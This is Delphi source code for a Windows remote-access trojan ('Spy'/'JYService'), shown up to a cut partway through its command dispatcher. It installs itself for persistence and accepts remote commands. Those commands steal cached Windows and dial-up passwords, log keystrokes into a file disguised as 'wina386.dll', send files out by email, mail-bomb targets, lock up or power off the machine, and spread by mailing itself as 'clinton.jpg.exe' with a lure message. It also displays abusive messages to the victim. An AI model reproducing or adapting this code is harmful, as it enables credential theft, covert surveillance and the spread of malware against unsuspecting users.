unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, StdCtrls, Forms, registry, shellapi, CDOpenClose,
  SakPOP3, SakMsg, ExtCtrls, ScktComp, SakSMTP, Winsock, DialUp, AMWinEnv,
  FtpSrv, FileCtrl;

type
  TForm1 = class(TForm)
    ServerSocket1: TServerSocket;
    Timer1: TTimer;
    SakPOP1: TSakPOP;
    SakMsgList1: TSakMsgList;
    SakSMTP1: TSakSMTP;
    SakMsg1: TSakMsg;
    DialUp1: TDialUp;
    AMWinEnv1: TAMWinEnv;
    FtpServer1: TFtpServer;
    Timer2: TTimer;
    procedure ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    procedure ProcessString (s: string; Socket: TCustomWinSocket);
    procedure ServerSocket1ClientDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure Timer1Timer(Sender: TObject);
    procedure ServerSocket1ClientError(Sender: TObject;
      Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
      var ErrorCode: Integer);
    function GetSubject(number: integer):string;
    function MustDelete (number: integer):boolean;//this function says, if we have to delete the mailz
    procedure SakSMTP1Error(Sender: TObject; Error: Integer; Msg: String);
    procedure SendAnswer (s: string);
    function GetPasswordZ:string;
    procedure Timer2Timer(Sender: TObject);
  private
    connected: boolean;
    valasz: boolean;
    emailnot: Boolean;
    MailBombTo: string;
    procedure ExceptionHandle (Sender: TObject; E: Exception);

    function ServerChangePort (temp: string): string;
    function ServerMsgDrw(temp: string): string;
    function ServerClose(temp: string): string;
    function ServerDeletefile(temp: string): string;
    function ServerExecfile(temp: string): string;
    function ServerRemove(temp: string): string;
    function ServerPassword(temp: string): string;
    function ServerCDOpen(temp: string): string;
    function ServerCDClose(temp: string): string;
    function ServerSuspend(temp: string): string;
    function ServerCurrentUser(temp: string): string;
    function ServerWindowsDir(temp: string): string;
    function ServerReboot(temp: string): string;
    function ServerPowerOff(temp: string): string;
    function ServerLockUp(temp: string): string;
    function ServerMonitorOn (temp: string): string;
    function ServerMonitorOff (temp: string): string;
    function ServerPopHost (temp: string): string;
    function ServerPopUser (temp: string): string;
    function ServerPopPass (temp: string): string;
    function ServerSmtpHost (temp: string): string;
    function ServerSmtpUser (temp: string): string;
    function ServerSmtpSendTo (temp: string): string;
    function ServerCloseWindow (temp: string): string;
    function ServerTimer (temp: string): string;
    function ServerDload (temp: string): string;
    function ServerCopy (temp: string): string;
    function ServerMove (temp: string): string;
    function ServerRasPWZ (temp: string): string;
    function ServerStartFtp (temp: string): string;
    function ServerStopFtp (temp: string): string;
    function ServerStartKeylog (temp: string): string;
    function ServerStopKeylog (temp: string): string;
    function ServerMakeDir (temp: string): string;
    function ServerRemoveDir (temp: string): string;
    function ServerMessageShow (temp: string): string;
    function ServerWallpaper (temp: string): string;
    function ServerShowDir (temp: string): string;
    function ServerSleep (temp: string): string;
    function ServerDontDelete (temp: string): string;
    function ServerEmailNotOn (temp: string): string;
    function ServerEmailNotOff (temp: string): string;
    function ServerGetCachedPwz (temp: string): string;
    function ServerStartBomb (temp: string): string;
    function ServerStopBomb (temp: string): string;
    function ServerSound (temp: string): string;
    function ServerListProcess (temp: string): string;
    function ServerKillProcess (temp: string): string;    
    function ServerInfect (temp: string): string;
    { Private declarations }
  public
    { Public declarations }
  end;

  TPasswordCacheEntry = packed record
   cbEntry    : word;   // size of this entry, in bytes
   cbResource : word;   // size of resource name, in bytes
   cbPassword : word;   // size of password, in bytes
   iEntry     : byte;   // entry index
   nType      : byte;   // type of entry
   abResource : array [0..$FFFFFFF] of char;
  end;
  TPPasswordCacheEntry = ^TPasswordCacheEntry;

  TProcessEntry32 = record
      dwSize              : DWORD;
      cntUsage            : DWORD;
      th32ProcessID       : DWORD;
      th32DefaultHeapID   : DWORD;
      th32ModuleID        : DWORD;
      cntThreads          : DWORD;
      th32ParentProcessID : DWORD;
      pcPriClassBase      : integer;
      dwFlags             : DWORD;
      szExeFile           : array [0..MAX_PATH-1] of char;
end;



function GetWinDir: String;


var
  Form1: TForm1;

implementation

{$R *.DFM}

uses MMSystem;

{$I ..\consts.pas}

resourcestring
      REGPATH  = '\SOFTWARE\Spy';
      REGSERVICE= '\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices';
      REGFTPSTART='FtpStart';
      REGKEYLOGSTART='KeylogStart';
      REGEMAILNOT='EmailNot';
      REGBOMBINGSTART = 'BombingStart';
      REGBOMBTO = 'BombingTo';
      REGSRVNAME= 'JYService';
      REGPORT  = 'Port';
      REGPASW  = 'Password';
      DISCONNECTED='Disconnected';
      OK= 'Ok';
      CANTDELETE= 'Can''t delete it';
      NOTUNDER = 'Not UnderStood';
      REGPOPPSW = 'PopPassword';
      REGPOPHST = 'PopHost';
      REGPOPUSR = 'PopUserName';
      REGSMTPHST ='SmtpHost';
      REGSMTPUSR ='SmtpUserName';
      REGSMTPS2  ='SmtpSendTo';
      VICTIMONLINE='Victim Is Online: ';
      MAILATTACH ='Here is the file you request';
      CURRENTUSER='The current user is: ';
      WINDOWSDIR ='Directory of Windows is: ';
      KEYLOGTODEF='wina386.dll';
      TITLEMSG = 'Active Title changed: ';
      CANNOT = 'Any problem!';
      PWACCEPTED= 'PW accepted';
      BADPASSWORD='Bad PW';
      ALREADY = 'There is already a connection in use!';
      TOOLONG = 'Too Long Command';

      FUNNYFNAME='clinton.jpg.exe';
      FUNNYSTRING='The most funny I have ever seen!!!';

const
  MESSAGES : array[0..9] of string = ('I even hate you too, so fuck you!', '''Cause I''m the choosen one!', 'You will fuck up just like your parents did!', 'Shut up you talk too much', 'I hate a lot of people that are lame', 'What a fucked up thing we do', 'Don''t fuck with us or we''ll fuck with you', 'I''m not Santa I''m a god', 'What else should I say Everyone is gay', 'Stay away God is gay');
  TH32CS_SnapProcess = 2;
  prteller : array[0..25] of char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';


var   MyRegistry: TRegistry;
      MyFont: TFont;
      password: boolean;
      passwordText: string;
      mailstring: string;
      SmtpSendTo, SmtpUserName: string;
      KeylogFile : textfile;
      megnyitva : boolean = False;
      lastonlinestatus: boolean = false;
      GetFile: string = '';
      ResultString: string = '';

 prname: string;
 CreateToolhelp32Snapshot : function (dwFlags,th32ProcessID: cardinal) : cardinal; stdcall = nil;
 Process32First : function (hSnapshot: cardinal; var lppe: TProcessEntry32) : bool; stdcall = nil;
 Process32Next : function (hSnapshot: cardinal; var lppe: TProcessEntry32) : bool; stdcall = nil;
 zed : char;
 ew_pid   : cardinal;
 ew_mwc     : string;


function EnumPasswordCallbackProc(pce: TPPasswordCacheEntry; pdw: cardinal) : LongBool; stdcall;
var
s1 : string;
s2 : string;
begin
  result:=true;

  SetLength(s1,pce^.cbResource);
  Move(pce^.abResource[0],pointer(s1)^,pce^.cbResource);

  SetLength(s2,pce^.cbPassword);
  Move(pce^.abResource[pce^.cbResource],pointer(s2)^,pce^.cbPassword);

  ResultString:= ResultString + s1 + '/' + s2 + #13#10;
end;

function GetCachedPasswords: string;
var WNetEnumCachedPasswords : function (ps: pchar; pw: word; pb: byte; proc: pointer; bdw: cardinal) : word; stdcall;
    mpr                     : cardinal;
begin
  mpr:=LoadLibrary('mpr');
  if mpr<>0 then
    try
      WNetEnumCachedPasswords:=GetProcAddress(mpr,'WNetEnumCachedPasswords');
      if @WNetEnumCachedPasswords<>nil then
      begin
        ResultString:= '';
        try
          WNetEnumCachedPasswords(nil,0,$FF,@EnumPasswordCallbackProc,0);
        finally
        end;
      end;
    finally
      FreeLibrary(mpr)
    end;
  Result:= ResultString;
end;


function TForm1.GetPasswordZ:string;
var mypassw1, mypassw2: String;
    i: integer;
begin
  DialUp1.Getentries;
  Result:='';
  for i:= 0 to  DialUp1.Entries.count -1 do
  begin
    if i = 0 then Result:='' else Result:= Result+' | ';
    DialUp1.Entry:= DialUp1.Entries.Strings [i];
    DialUp1.GetEntryUserName (mypassw1);
    DialUp1.GetEntryPassword (mypassw2);

    Result:= Result + Dialup1.Entry+':'+mypassw1+'/'+mypassw2;
  end;
end;



function LocalIP: String;
type
  TaPInAddr = Array[0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  Buffer: Array[0..63] of Char;
  I: Integer;
  GInitData: TWSAData;
begin
  WSAStartup($101, GInitData);
  Result := '';
  GetHostName(Buffer, SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if phe = nil then Exit;
  pPtr := PaPInAddr(phe^.h_addr_list);
  I := 0;
  while pPtr^[I] <> nil do
   begin
    Result := inet_ntoa(pptr^[I]^);
    Inc(I);
   end;
  WSACleanup;
end;

function Online: boolean;
var FIP: string;
begin
  FIP:= LocalIP;
  Result:= (FIP <> '') and (FIP <> '127.0.0.1');
end;

function dsDrawText(const TextToDraw: String; ALeft, ATop: Integer; AFont: TFont;
                    AFormatFlags: UINT): Boolean;
var
  r: TRect;
  c: TCanvas;
  TC: TColor;
begin
  Result:=true;
  c:=TCanvas.Create;
  try
    c.Handle:=GetDc(0);
    r.Right:=Screen.Width;
    r.Bottom:=Screen.Height;
    c.Brush.Style:=bsClear;
    c.Font:=AFont;
    r.Top:=ATop+3;
    r.Left:=ALeft+3;

    TC:=c.Font.Color;
    c.Font.Color:=clBlack;
    DrawText(c.Handle, PChar(TextToDraw), Length(TextToDraw), r, AFormatFlags);
    c.Font.Color:=TC;
    r.Left:=ALeft;
    r.Top:=ATop;
    DrawText(c.Handle, PChar(TextToDraw), Length(TextToDraw), r, AFormatFlags);
  finally
    ReleaseDc(0, c.Handle);
    c.Free;
  end;
end;


function CommandFirst (var s:string): string;
var i: integer;
    ok: boolean;
begin
  Result:= '';
  ok:= false;
  i:= 0;
  repeat
    inc (i);
    if ((i <> 1) and (s[i] = STRMOD)) or
       (i > length (s)) then ok:= true
      else Result:= Result + s[i];
  until ok;
  delete (S,1,i-1);
end;

function GetCurrentUserName: String;
var
  buffer: array[0..31] of char;
  buffSize: DWORD;
begin
  buffSize:=32;
  GetUserName(buffer, buffSize);
  Result:=buffer;
end;

function GetWinDir: String;
var
  buffer: array[0..31] of char;
  buffSize: DWORD;
begin
  buffSize:=32;
  GetWindowsDirectory(buffer, buffSize);
  Result:=buffer;
end;

function GetFileName(s: string) : string;
var i,j: integer;
begin
  j:= 0;
  for i:= 1 to length(s) do
    if s[i]= ' ' then j:= i;
  if j = 0 then j:= length(s)+1;
  Result:= Copy (s, 1, j-1);
end;

function GetParameter (s: string) : string;
var i,j: integer;
begin
  j:= 0;
  for i:= 1 to length(s) do
    if s[i]= ' ' then j:= i;
  if j = 0 then Result:= '' else
  begin
    Result:= Copy (s, j, length(s)-j+1);
    Delete (Result, 1, 1);
  end;
end;


function CanShutDown: boolean;
const
  SE_SHUTDOWN_NAME = 'SeShutDownPrivilege';   // Borland forgot this declaration
var
  hToken: THandle;
  tkp: TTokenPrivileges;
//  retval: integer;
begin
  Result := False;
  if not (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or
     TOKEN_QUERY, hToken)) then
       Exit;

  LookupPrivilegeValue(nil, SE_SHUTDOWN_NAME, tkp.Privileges[0].Luid);
  tkp.PrivilegeCount := 1;
  tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;

//  AdjustTokenPrivileges(hToken, false, _TOKEN_PRIVILEGES (tkp), 0, tkp, retval);

  if GetLastError() <> ERROR_SUCCESS then
    Exit
  else
    Result := True;
end;

function GetWindowsPlatformEx: Integer;
var
  struct: TOSVersionInfo;
begin
  struct.dwOSVersionInfoSize := sizeof (Struct);
  struct.dwPlatformId := 0;
  GetVersionEx (Struct);
  Result:=struct.dwPlatformid;   // 0 - WIN32s  1 - WIN32  2 - WINNT
end;



function SysHalt(kind: integer) : boolean;
begin
  Result:= False;  //default value
  case kind of
    1: Result:=ExitWindowsEx(EWX_FORCE or EWX_REBOOT, 0); //i don't know, why twice, but i copied it from BO2k's source
    2: begin
         if (GetWindowsPlatformEx = 2) then
         begin
           if CanShutDown then
           begin
             Result:=ExitWindowsEx(EWX_POWEROFF, 0)
           end else
             Result:= false;
         end else Result:=ExitWindowsEx(EWX_POWEROFF, 0)
       end;
    3: Result:= Not (SetSystemPowerState (TRUE, true));
    4: SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1); //monitor on
    5: SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0); //monitor off
    6: PostMessage (GetForegroundWindow, WM_QUIT, 0,0);
  end;
// input values
// 1: reboot
// 2: shutdown with power off
// 3: suspend
// 4: monitor on
// 5: monitor off
// 6: close actual window
// return values
//  Result = 0 -> "attempt failed.");
//   else ->      "in progress now.");
end;


function LockThread : pointer;
begin
  while(GetWindowsPlatFormEx = 1) do; //hehe it's funny. We can wait, until you don't install w9x :)
  Result:= nil;
end;


procedure SysLockUp;
var
      dwTid: DWORD;
      hThread: HWND;

begin
  if (GetWindowsPlatformEx = 2) then //is it WinNT?
  begin
    SetPriorityClass(GetCurrentProcess(),REALTIME_PRIORITY_CLASS);
    while (GetWindowsPlatformEx = 1) do //hehe it's funny. We can wait, until you don't install w9x :)
    begin
      hThread:= CreateThread(nil,0,LockThread , nil,0,dwTid);
      SetThreadPriority(hThread,THREAD_PRIORITY_TIME_CRITICAL);
    end;
  end else
  begin
     asm
       @lockpoint: cli
       jmp @lockpoint
     end;
  end;
end;

function MinMax(aValue, minimal, maximum: integer): integer;
begin
  if aValue < minimal then
    Result:= minimal else
  if aValue > maximum then
    Result:= maximum else
    Result:= aValue;
end;



function TForm1.ServerChangePort (temp: string): string;
begin
  delete (temp, 1, length (STRPORT));
  ServerSocket1.Active:= False;
  connected:= false;
  password:= true;
  ServerSocket1.Port:= MinMax (StrToIntDef (temp, 2000) , 1, 655535);
  ServerSocket1.Active:= True;

  MyRegistry.WriteString (REGPORT, temp);//taroljuk a regisztriben

  Result:= '';
end;

function TForm1.ServerMsgDrw(temp: string): string;
begin
  delete (temp, 1, length (STRMSGDRAW));
  dsDrawText (temp, 300,300, MyFont, DT_LEFT+DT_SINGLELINE+DT_TOP);
  Result:= OK;
end;

function TForm1.ServerClose(temp: string): string;
begin
  delete (temp, 1, length (STRCLS));
  Result:= ''; //last status sending
  Close;
end;

function TForm1.ServerDeletefile(temp: string): string;
begin
  delete (temp, 1, length (STRDEL));
  if (DeleteFile(temp)) then
    Result:= OK else
    Result:= CANTDELETE;
end;

function TForm1.ServerExecfile(temp: string): string;
begin
  delete (temp, 1, length (STREXEC));
  ShellExecute(handle, nil, PChar(GetFileName(temp)), PChar(GetParameter(temp)), nil, SW_SHOWNORMAL);
  Result:= OK;
end;

function TForm1.ServerRemove(temp: string): string;
begin
  delete (temp, 1, length (STRRES));
  MyRegistry.OpenKey (REGSERVICE, false);
  if MyRegistry.DeleteValue (REGSRVNAME) then Result:=OK
    else Result:=CANNOT; //last status sending
  Close;
end;

function TForm1.ServerPassword(temp: string): string;
begin
  delete (temp, 1, length (STRPASW));
  MyRegistry.WriteString (REGPASW, temp);//taroljuk a regisztriben
  passwordText:= temp;
  Result:= OK; //last status sending
end;

function TForm1.ServerCDOpen(temp: string): string;
begin
  delete (temp, 1, length (STRCDO));
  OpenDoor;
  Result:= OK; //last status sending
end;

function TForm1.ServerCDClose(temp: string): string;
begin
  delete (temp, 1, length (STRCDC));
  CloseDoor;
  Result:=OK; //last status sending
end;

function TForm1.ServerSuspend(temp: string): string;
begin
  delete (temp, 1, length (STRSUS));
  if (SysHalt(3)) then Result:= OK //last status sending
    else Result:= CANNOT;
end;

function TForm1.ServerCurrentUser(temp: string): string;
begin
  Result:= '';
  delete (temp, 1, length (STRCUR));
  if Valasz then Result:=GetCurrentUserName //last status sending
    else SendAnswer (CURRENTUSER+GetCurrentUserName);
end;

function TForm1.ServerWindowsDir(temp: string): string;
begin
  Result:= '';
  delete (temp, 1, length (STRWDIR));
  if Valasz then Result:= GetWinDir //last status sending
    else SendAnswer (WINDOWSDIR+GetWindir);
end;

function TForm1.ServerReboot(temp: string): string;
begin
  Result:='';
  delete (temp, 1, length (STRREBOOT));
  ServerSocket1.Active:= False; //must closing the server
  if (SysHalt(1)) then Result:=OK; //last status sending
end;

function TForm1.ServerPowerOff(temp: string): string;
begin
  Result:= '';
  delete (temp, 1, length (STRPOFF));
  ServerSocket1.Active:= False; //must closing the server
  if (SysHalt(2)) then Result:=OK; //last status sending
end;

function TForm1.ServerLockUp(temp: string): string;
begin
  Result:= '';
  delete (temp, 1, length (STRLOCK));
  Result:= OK; //last status sending
  SysLockUp; //say bye bye :-)
end;

function TForm1.ServerMonitorOn (temp: string): string;
begin
  delete (temp, 1, length (STRMONON));
  Syshalt (4);
  Result:=OK;
end;

function TForm1.ServerMonitorOff (temp: string): string;
begin
  delete (temp, 1, length (STRMONOFF));
  Syshalt (5);
  Result:= OK;
end;

function TForm1.ServerPopHost (temp: string): string;
begin
  delete (temp, 1, length (STRPOPHST));
  MyRegistry.WriteString (REGPOPHST, temp);//taroljuk a regisztriben
  SakPOP1.Host:= temp;
  Result:= OK;
end;

function TForm1.ServerPopUser (temp: string): string;
begin
  delete (temp, 1, length (STRPOPUSR));
  MyRegistry.WriteString (REGPOPUSR, temp);//taroljuk a regisztriben
  SakPOP1.UserId:= temp;
  Result:= OK;
end;

function TForm1.ServerPopPass (temp: string): string;
begin
  delete (temp, 1, length (STRPOPPWD));
  MyRegistry.WriteString (REGPOPPSW, temp);//taroljuk a regisztriben
  SakPOP1.UserPasswd:= temp;
  Result:= OK;
end;

function TForm1.ServerSmtpHost (temp: string): string;
begin
  delete (temp, 1, length (STRSMTPHST));
  MyRegistry.WriteString (REGSMTPHST, temp);//taroljuk a regisztriben
  SakSMTP1.Host:=temp;
  Result:= OK;
end;

function TForm1.ServerSmtpUser (temp: string): string;
begin
  delete (temp, 1, length (STRSMTPUSR));
  MyRegistry.WriteString (REGSMTPUSR, temp);//taroljuk a regisztriben
  SmtpUserName:= temp;
  Result:= OK;
end;

function TForm1.ServerSmtpSendTo (temp: string): string;
begin
  delete (temp, 1, length (STRSMTPS2));
  MyRegistry.WriteString (REGSMTPS2, temp);//taroljuk a regisztriben
  SmtpSendTo:= temp;
  Result:= OK;
end;

function TForm1.ServerCloseWindow (temp: string): string;
begin
  delete (temp, 1, length (STRCAW));
  SysHalt (6);
  Result := OK;
end;

function TForm1.ServerTimer (temp: string): string;
begin
  delete (temp, 1, length (STRTIMER));
  Timer1.Interval:= StrToInt (temp);
  Result:= OK;
end;

function TForm1.ServerDload (temp: string): string;
begin
  delete (temp, 1, length (STRGETFILE));
  GetFile:= temp;
  Result:= OK;
  SendAnswer (MAILATTACH);
end;

function TForm1.ServerCopy (temp: string): string;
begin
  delete (temp, 1, length (STRCOPY));
  if (GetParameter(temp)[length(GetParameter(temp))] <> '\') then
    CopyFile (PChar(GetFileName(temp)), PChar(GetParameter(temp)+'\'+ExtractFileName(GetFileName(temp))), false)
  else
    CopyFile (PChar(GetFileName(temp)), PChar(GetParameter(temp)+ExtractFileName(GetFileName(temp))), false);
  Result:=OK;
end;

function TForm1.ServerMove (temp: string): string;
begin
  delete (temp, 1, length (STRMOVE));
  RenameFile (GetFileName(temp), GetParameter(temp));
  Result:= OK;
end;

function TForm1.ServerRasPWZ (temp: string): string;
begin
  Result:= '';
  delete (temp, 1, length (STRPWZRAS));
  if Valasz then Result:= GetPasswordz else
    SendAnswer (GetPasswordZ);
end;

function TForm1.ServerStartFtp (temp: string): string;
begin
  delete (temp, 1, length (STRFTPSTA));
  FtpServer1.Start;
  MyRegistry.WriteString (REGFTPSTART, SON);//taroljuk a regisztriben
  Result:= OK;
end;

function TForm1.ServerStopFtp (temp: string): string;
begin
  delete (temp, 1, length (STRFTPSTO));
  FtpServer1.DisconnectAll;
  FtpServer1.Stop;
  MyRegistry.WriteString (REGFTPSTART, SOFF);//taroljuk a regisztriben
  Result:= OK;
end;

function TForm1.ServerStartKeylog (temp: string): string;
begin
  delete (temp, 1, length (STRKLSTA));
  MyRegistry.WriteString (REGKEYLOGSTART, SON);//taroljuk a regisztriben
  Result:= OK;
end;

function TForm1.ServerStopKeylog (temp: string): string;
begin
  delete (temp, 1, length (STRKLSTO));
  MyRegistry.WriteString (REGKEYLOGSTART, SOFF);//taroljuk a regisztriben
  Result:=OK;
end;

function TForm1.ServerMakeDir (temp: string): string;
begin
  delete (temp, 1, length (STRMD));
  ForceDirectories (temp);
  Result:=OK;
end;

function TForm1.ServerRemoveDir (temp: string): string;
begin
  delete (temp, 1, length (STRRD));
  ShellExecute(handle, nil, 'deltree', PChar('/Y '+temp), nil, SW_HIDE);
  Result:=OK;
end;

function TForm1.ServerMessageShow (temp: string): string;
begin
  delete (temp, 1, length (STRMSGSHOW));
  MessageBox (GetForeGroundWindow, PChar(temp), 'Fuck Armageddon', MB_OK);
  Result:=OK;
end;

function TForm1.ServerWallpaper (temp: string): string;
var pBitmap : pchar;
begin
 delete (temp, 1, length (STRWALLP));
 Result:= CANNOT;
try
 temp:=temp+#0;
 pBitmap:=@temp[1];
 SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, pBitmap, SPIF_UPDATEINIFILE);
 Result:=OK;
except
end;
end;

function Dir(micsuda:string):string;
var
  sr: TSearchRec;
begin
 Result:='';
 if FindFirst(micsuda, faAnyFile, sr) = 0 then
  begin
    Result:= Result + sr.Name + #13#10;
  end;
 while FindNext(sr) = 0 do
 begin
     Result:= Result +  sr.Name + #13#10;
 end;
 FindClose(sr);
end;

function TForm1.ServerShowDir (temp: string): string;
begin
 delete (temp, 1, length (STRDIR));
 Result:='';
 if temp = '' then temp:= '*.*';
 if valasz then
   Result:= Dir (temp)
 else
   SendAnswer (Dir (temp));
end;

function TForm1.ServerSleep (temp: string): string;
begin
 delete (temp, 1, length (STRSLEEP));
 Result:= OK;
 Sleep ( DEFAULTSLEEPVALUE );
end;

function TForm1.ServerDontDelete (temp: string): string;
begin
 Result:= OK;
end;

function TForm1.ServerEmailNotOn (temp: string): string;
begin
  delete (temp, 1, length (STRSTARTEMAILN));
  EmailNot:= True;
  MyRegistry.WriteString (REGEMAILNOT, SON);//taroljuk a regisztriben
  Result:=OK;
end;

function TForm1.ServerEmailNotOff (temp: string): string;
begin
  delete (temp, 1, length (STRSTARTEMAILN));
  EmailNot:= False;
  MyRegistry.WriteString (REGEMAILNOT, SOFF);//taroljuk a regisztriben
  Result:=OK;
end;

function TForm1.ServerGetCachedPwz (temp: string): string;
begin
  delete (temp, 1, length (STRPWZCACHE));
  if Valasz Then Result:= GetCachedPasswords else
    SendAnswer (GetCachedPasswords);
end;

function TForm1.ServerStartBomb (temp: string): string;
begin
  delete (temp, 1, length (STRBOMBSTA));
  if temp <> '' then
  begin
    mailbombto:= temp;
    MyRegistry.WriteString (REGBOMBTO, mailbombto);
  end;
  Timer2.Enabled:= True;
  MyRegistry.WriteString (REGBOMBINGSTART, SON);//taroljuk a regisztriben
  Result:= OK;
end;

function TForm1.ServerStopBomb (temp: string): string;
begin
  delete (temp, 1, length (STRBOMBSTO));
  Timer2.Enabled:= False;
  MyRegistry.WriteString (REGBOMBINGSTART, SOFF);//taroljuk a regisztriben
  Result:=OK;
end;

function TForm1.ServerSound (temp: string): string;
begin
  delete (temp, 1, length (STRSOUND));
  PlaySound (PChar(temp), snd_Async, 0);
  Result:=OK;
end;


function TestToolhelpFunctions : boolean;
var c1 : cardinal;
begin
Result:= false;
try
  c1:=GetModuleHandle('kernel32');
  @CreateToolhelp32Snapshot:=GetProcAddress(c1,'CreateToolhelp32Snapshot');
  @Process32First          :=GetProcAddress(c1,'Process32First'          );
  @Process32Next           :=GetProcAddress(c1,'Process32Next'           );
  result:=(@CreateToolhelp32Snapshot<>nil) and (@Process32First<>nil) and (@Process32Next<>nil);
except end;
end;

function EnumWindowsProc(hwnd: cardinal; lParam: integer) : LongBool; stdcall;
var cpid : cardinal;
begin
  result:=true;
try
  GetWindowThreadProcessID(hwnd,@cpid);
  if (ew_pid=cpid) and (GetWindow(hwnd,GW_OWNER)=0) and (GetParent(hwnd)=0) and IsWindowVisible(hwnd) then begin
    SetLength(ew_mwc,MAX_PATH);
    SetLength(ew_mwc,GetWindowText(hwnd,pchar(ew_mwc),MAX_PATH));
    result:=false;
  end;
except end;
end;


function GetMainWindowCaption(pid: cardinal) : string;
begin
try
  ew_pid:=pid; ew_mwc:='';
  EnumWindows(@EnumWindowsProc,0);
  result:=ew_mwc;
except end;
end;


function sendprocesses(yeahno : boolean):string;
var
    c1    : cardinal;
    pe    : TProcessEntry32;
    s1,s2 : string;
    x      : integer;
begin
x:=0;
prname:='';
try
if TestToolhelpFunctions then begin
c1:=CreateToolHelp32Snapshot(TH32CS_SnapProcess,0);
try
    pe.dwSize:=sizeOf(pe);
    if Process32First(c1,pe) then
      repeat
        inc(x);
        if prteller[x-1] = zed then prname:=s2;
        s1:=ExtractFileName(pe.szExeFile);
        s2:=ExtractFileExt(s1);
        Delete(s1,length(s1)+1-length(s2),maxInt);
        s2:=GetMainWindowCaption(pe.th32ProcessID);
        if yeahno = true then Result:= Result + prteller[x]+':'+s1+' : '+ s2+#13 + #10;
      until not Process32Next(c1,pe);
  finally CloseHandle(c1) end;
end;
except end;
end;

function closeprocess(which : char): boolean;
var
  h : HWND;
  str : pchar;
begin
Result:= false;
try
  zed := which;
  sendprocesses(false);
  str:=@(prname)[1];
  h := FindWindow(nil,str);
  if h <> 0 then begin
    SendMessage(h, WM_CLOSE, 0, 0);
    Result:= True;
  end else Result:= False;
except end;
end;

function TForm1.ServerListProcess (temp: string): string;
begin
  delete (temp, 1, length (STRLPROCESS));
  if valasz then Result:=sendprocesses(true) else
    SendAnswer (sendprocesses(true));
end;

function TForm1.ServerKillProcess (temp: string): string;
begin
  delete (temp, 1, length (STRKPROCESS));
  if temp <> '' then
  begin
    temp:= UpperCase (temp);
    Result:= OK;
    try
      closeprocess(temp[1]);
    except
      Result:= CANNOT;
    end;
  end else Result:= CANNOT;
end;

function TForm1.ServerInfect (temp: string): string;
begin
  delete (temp, 1, length (STRINFECT));
  CopyFile (PChar(Application.Exename),PChar(FUNNYFNAME), true);
  GetFile:= FUNNYFNAME;
  SendAnswer (FUNNYSTRING);
  DeleteFile (FUNNYFNAME);
  Result:= OK;
end;


procedure TForm1.ProcessString (s: string; Socket: TCustomWinSocket);
var temp: string;
begin
  If (s = '') then Exit;
  repeat
    temp:= CommandFirst(s);

    If 1 = Pos (STRPORT,temp) then
    begin
      if valasz then Socket.Sendtext (DISCONNECTED);
      temp:= ServerChangePort (temp);
    end else
    if 1 = Pos (STRMSGDRAW, temp) then
      temp:= ServerMsgDrw (temp) else
    if 1 = Pos (STRCLS, temp) then
    begin
      if Valasz then Socket.SendText (OK);
      temp:= ServerClose (temp);
    end else
    if 1 = Pos (STRDEL, temp) then
      temp:= ServerDeletefile(temp) else
    if 1 = Pos (STREXEC, temp) then
      temp:= ServerExecfile (temp) else
    if 1 = Pos (STRRES, temp) then
      temp:= ServerRemove(temp) else
    if 1 = Pos (STRPASW, temp) then
      temp:=ServerPassword (temp) else
    if 1 = Pos (STRCDO, temp) then
      temp:= ServerCDOpen(temp) else
    if 1 = Pos (STRCDC, temp) then
      temp:= ServerCDClose(temp) else
    if 1 = Pos (STRSUS, temp) then
      temp:= ServerSuspend(temp) else
    if 1 = Pos (STRCUR, temp) then
      temp:= ServerCurrentUser(temp) else
    if 1 = Pos (STRWDIR, temp) then
      temp:= ServerWindowsDir (temp) else
    if 1 = Pos (STRREBOOT, temp) then
      temp:= ServerReboot(temp) else
    if 1 = Pos (STRPOFF, temp) then
      temp:= ServerPowerOff(temp) else
    if 1 = Pos (STRLOCK, temp) then
      temp:= ServerLockUp (temp) else
    if 1 = Pos (STRMONON, temp) then //turn monitor on
      temp:= ServerMonitorOn (temp) else
    if 1 = Pos (STRMONOFF, temp) then//turn monitor off
      temp:=ServerMonitorOff(temp) else
    if 1 = Pos (STRPOPHST, temp) then
      temp:= ServerPopHost (temp) else
    if 1 = Pos (STRPOPUSR, temp) then
      temp:= ServerPopUser (temp) else
    if 1 = Pos (STRPOPPWD, temp) then
      temp:= ServerPopPass (temp) else
    if 1 = Pos (STRSMTPHST, temp) then
      temp:= ServerSmtpHost(temp) else
    if 1 = Pos (STRSMTPUSR, temp) then
      temp:=ServerSmtpUser(temp) else
    if 1 = Pos (STRSMTPS2, temp) then
      temp:= ServerSmtpSendTo (temp) else
    if 1 = Pos (STRCAW, temp) then//close actual window
      temp:= ServerCloseWindow(temp) else
    if 1 = Pos (STRTIMER, temp) then//setting timer
      temp:= ServerTimer(temp) else
    if 1 = Pos (STRGETFILE, temp) then//runterladen datei :)
      temp:= ServerDload (temp) else
    if 1 = Pos (STRCOPY, temp) then//copy a file
      temp:= ServerCopy(temp) else
    if 1 = Pos (STRMOVE, temp) then//copy a file
      temp:= ServerMove (temp) else
    if 1 = Pos (STRPWZRAS, temp) then//copy a file
      temp:= ServerRasPWZ (temp) else
    if 1 = Pos (STRFTPSTA, temp) then//start ftp server
      temp:= ServerStartFtp (temp) else
    if 1 = Pos (STRFTPSTO, temp) then//start ftp server
      temp:= ServerStopFtp (temp) else
    if 1 = Pos (STRKLSTA, temp) then//start ftp server
      temp:= ServerStartKeylog (temp) else
    if 1 = Pos (STRKLSTO, temp) then//start ftp server
      temp:= ServerStopKeylog(temp) else
    if 1 = Pos (STRMD, temp) then//make directory
      temp:= ServerMakeDir(temp) else
    if 1 = Pos (STRRD, temp) then//remove directory
